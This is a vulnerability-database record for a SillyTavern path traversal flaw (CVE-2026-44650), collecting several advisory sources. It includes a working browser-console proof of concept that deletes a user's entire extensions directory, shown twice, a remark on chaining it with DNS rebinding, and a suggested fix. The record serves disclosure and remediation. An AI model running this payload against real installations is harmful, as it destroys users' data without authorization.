{"id":"CVE-2026-44650","aliases":["EUVD-2026-33404","GHSA-886q-f44j-h6wh"],"status":"published","title":"SillyTavern: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, POST /api/extensions/delete endpoint accepts extensionName: \".\" which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. This vulnerability is fixed in 1.18.0.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00567,"percentile":0.47486,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-05-12T22:23:45Z","modified":"2026-10-28T02:30:40Z","fixes":[{"ecosystem":"npm","package":"sillytavern","fixed_in":["1.18.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.17.0"},{"fixed":"1.18.0"}]}]},{"source":"osv","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}]}],"products":[{"vendor":"sillytavern","product":"sillytavern"}],"references":[{"url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-886q-f44j-h6wh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44650.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44650","tags":["advisory"]},{"url":"https://github.com/SillyTavern/SillyTavern","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44650","title":"SillyTavern: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, POST /api/extensions/delete endpoint accepts extensionName: \".\" which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. This vulnerability is fixed in 1.18.0.","status":"published","published":"2026-05-29T17:48:03.396Z","modified":"2026-05-29T19:13:57.913Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-33404","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, POST /api/extensions/delete endpoint accepts extensionName: \".\" which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. This vulnerability is fixed in 1.18.0.","status":"published","published":"2026-05-29T17:48:03Z","modified":"2026-05-29T19:13:57Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:21:00.384456Z"}],"ghsa":[{"id":"GHSA-886q-f44j-h6wh","title":"SillyTavern has a Path Traversal issue","description":"## Summary\n\n`POST /api/extensions/delete` endpoint accepts `extensionName: \".\"` which bypasses \n`sanitize-filename` validation, causing the entire user extensions directory to be \nrecursively deleted. No authentication is required in the default configuration.\n\n## Affected File\n\n`src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`)\n\n## Root Cause\n\nThe validation check occurs **before** sanitization:\n\n```javascript\n// [1] \".\" is truthy — passes the check\nif (!request.body.extensionName) {\n    return response.status(400).send('Bad Request');\n}\n\n// [2] sanitize(\".\")  →  \"\"\nconst extensionPath = path.join(basePath, sanitize(extensionName));\n// path.join(\"data\\\\default-user\\\\extensions\", \"\")\n// = \"data\\\\default-user\\\\extensions\"  ← basePath itself!\n\n// [3] Deletes the entire extensions directory\nawait fs.promises.rm(extensionPath, { recursive: true });\n```\n\n`sanitize-filename` converts `\".\"` to `\"\"` (documented behavior).  \n`path.join(basePath, \"\")` returns `basePath` itself.  \nResult: the entire `data\\default-user\\extensions\\` directory is deleted.\n\n## Proof of Concept\n\nTested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e`  \nAuthentication: none (basicAuthMode: false, default configuration)\n\nRun in browser console (F12) while SillyTavern is open:\n\n```javascript\nasync function poc() {\n    const { token } = await (await fetch('/csrf-token')).json();\n    const headers = {\n        'Content-Type': 'application/json',\n        'X-CSRF-Token': token,\n    };\n\n    // Before: 1 extension installed\n    const before = await (await fetch('/api/extensions/discover', { headers })).json();\n    console.log('Before:', before.filter(e =\u003e e.type === 'local'));\n    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]\n\n    // Attack\n    const res = await fetch('/api/extensions/delete', {\n        method: 'POST',\n        headers,\n        body: JSON.stringify({ extensionName: '.' }),\n    });\n    console.log('Status:', res.status);      // 200\n    console.log('Body:', await res.text());  // \"Extension has been deleted at data\\default-user\\extensions\"\n\n    // After: empty\n    const after = await (await fetch('/api/extensions/discover', { headers })).json();\n    console.log('After:', after.filter(e =\u003e e.type === 'local'));\n    // []\n}\npoc();\n```\n\n**Result:**\nBefore: [{ type: 'local', name: 'third-party/Extension-Notebook' }]\nStatus: 200\nBody:   Extension has been deleted at data\\default-user\\extensions\nAfter:  []\n\n## Impact\n\n- **No authentication required** (`basicAuthMode: false` by default).  \n  Any user with network access to the SillyTavern instance can permanently \n  delete the entire extensions directory with a single HTTP request.\n- All installed third-party extensions are unrecoverably lost.\n- With `global: true` and admin privileges, the global extensions directory \n  shared across all users can also be deleted.\n- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to \n  enable unauthenticated remote exploitation from a malicious website.\n\n## Same Pattern in Other Endpoints\n\nThe same vulnerability exists in:\n- `POST /api/extensions/update`\n- `POST /api/extensions/version`\n- `POST /api/extensions/branches`\n- `POST /api/extensions/switch`\n\n## Suggested Fix\n\n```javascript\nconst sanitized = sanitize(extensionName);\n\n// Check AFTER sanitizing\nif (!sanitized) {\n    return response.status(400).send('Bad Request: Invalid extension name.');\n}\n\nconst extensionPath = path.join(basePath, sanitized);\n\n// Additional path traversal guard\nconst resolvedPath = path.resolve(extensionPath);\nconst resolvedBase = path.resolve(basePath);\nif (!resolvedPath.startsWith(resolvedBase + path.sep)) {\n    return response.status(400).send('Bad Request: Invalid extension path.');\n}\n```\n\nApply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints.\n\n## References\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)\n- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename\n- Related CVE (same project): CVE-2025-59159\n\n\n##REPORTED BY\nJormungandr","status":"published","published":"2026-05-12T22:23:45Z","modified":"2026-05-12T22:23:47Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:07.01746Z"}],"nvd":[{"id":"CVE-2026-44650","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, POST /api/extensions/delete endpoint accepts extensionName: \".\" which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. This vulnerability is fixed in 1.18.0.","status":"published","published":"2026-05-29T19:16:24.857Z","modified":"2026-07-22T06:10:00.17Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:21.635958Z"}],"osv":[{"id":"CVE-2026-44650","title":"SillyTavern: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, POST /api/extensions/delete endpoint accepts extensionName: \".\" which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. This vulnerability is fixed in 1.18.0.","status":"published","published":"2026-05-29T17:48:03.396Z","modified":"2026-10-28T02:30:40.339208141Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"GHSA-886q-f44j-h6wh","title":"SillyTavern has a Path Traversal issue","description":"## Summary\n\n`POST /api/extensions/delete` endpoint accepts `extensionName: \".\"` which bypasses \n`sanitize-filename` validation, causing the entire user extensions directory to be \nrecursively deleted. No authentication is required in the default configuration.\n\n## Affected File\n\n`src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`)\n\n## Root Cause\n\nThe validation check occurs **before** sanitization:\n\n```javascript\n// [1] \".\" is truthy — passes the check\nif (!request.body.extensionName) {\n    return response.status(400).send('Bad Request');\n}\n\n// [2] sanitize(\".\")  →  \"\"\nconst extensionPath = path.join(basePath, sanitize(extensionName));\n// path.join(\"data\\\\default-user\\\\extensions\", \"\")\n// = \"data\\\\default-user\\\\extensions\"  ← basePath itself!\n\n// [3] Deletes the entire extensions directory\nawait fs.promises.rm(extensionPath, { recursive: true });\n```\n\n`sanitize-filename` converts `\".\"` to `\"\"` (documented behavior).  \n`path.join(basePath, \"\")` returns `basePath` itself.  \nResult: the entire `data\\default-user\\extensions\\` directory is deleted.\n\n## Proof of Concept\n\nTested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e`  \nAuthentication: none (basicAuthMode: false, default configuration)\n\nRun in browser console (F12) while SillyTavern is open:\n\n```javascript\nasync function poc() {\n    const { token } = await (await fetch('/csrf-token')).json();\n    const headers = {\n        'Content-Type': 'application/json',\n        'X-CSRF-Token': token,\n    };\n\n    // Before: 1 extension installed\n    const before = await (await fetch('/api/extensions/discover', { headers })).json();\n    console.log('Before:', before.filter(e =\u003e e.type === 'local'));\n    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]\n\n    // Attack\n    const res = await fetch('/api/extensions/delete', {\n        method: 'POST',\n        headers,\n        body: JSON.stringify({ extensionName: '.' }),\n    });\n    console.log('Status:', res.status);      // 200\n    console.log('Body:', await res.text());  // \"Extension has been deleted at data\\default-user\\extensions\"\n\n    // After: empty\n    const after = await (await fetch('/api/extensions/discover', { headers })).json();\n    console.log('After:', after.filter(e =\u003e e.type === 'local'));\n    // []\n}\npoc();\n```\n\n**Result:**\nBefore: [{ type: 'local', name: 'third-party/Extension-Notebook' }]\nStatus: 200\nBody:   Extension has been deleted at data\\default-user\\extensions\nAfter:  []\n\n## Impact\n\n- **No authentication required** (`basicAuthMode: false` by default).  \n  Any user with network access to the SillyTavern instance can permanently \n  delete the entire extensions directory with a single HTTP request.\n- All installed third-party extensions are unrecoverably lost.\n- With `global: true` and admin privileges, the global extensions directory \n  shared across all users can also be deleted.\n- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to \n  enable unauthenticated remote exploitation from a malicious website.\n\n## Same Pattern in Other Endpoints\n\nThe same vulnerability exists in:\n- `POST /api/extensions/update`\n- `POST /api/extensions/version`\n- `POST /api/extensions/branches`\n- `POST /api/extensions/switch`\n\n## Suggested Fix\n\n```javascript\nconst sanitized = sanitize(extensionName);\n\n// Check AFTER sanitizing\nif (!sanitized) {\n    return response.status(400).send('Bad Request: Invalid extension name.');\n}\n\nconst extensionPath = path.join(basePath, sanitized);\n\n// Additional path traversal guard\nconst resolvedPath = path.resolve(extensionPath);\nconst resolvedBase = path.resolve(basePath);\nif (!resolvedPath.startsWith(resolvedBase + path.sep)) {\n    return response.status(400).send('Bad Request: Invalid extension path.');\n}\n```\n\nApply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints.\n\n## References\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)\n- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename\n- Related CVE (same project): CVE-2025-59159\n\n\n##REPORTED BY\nJormungandr","status":"published","published":"2026-05-12T22:23:45Z","modified":"2026-05-12T22:41:26.364874Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:42.077781Z"}]}}
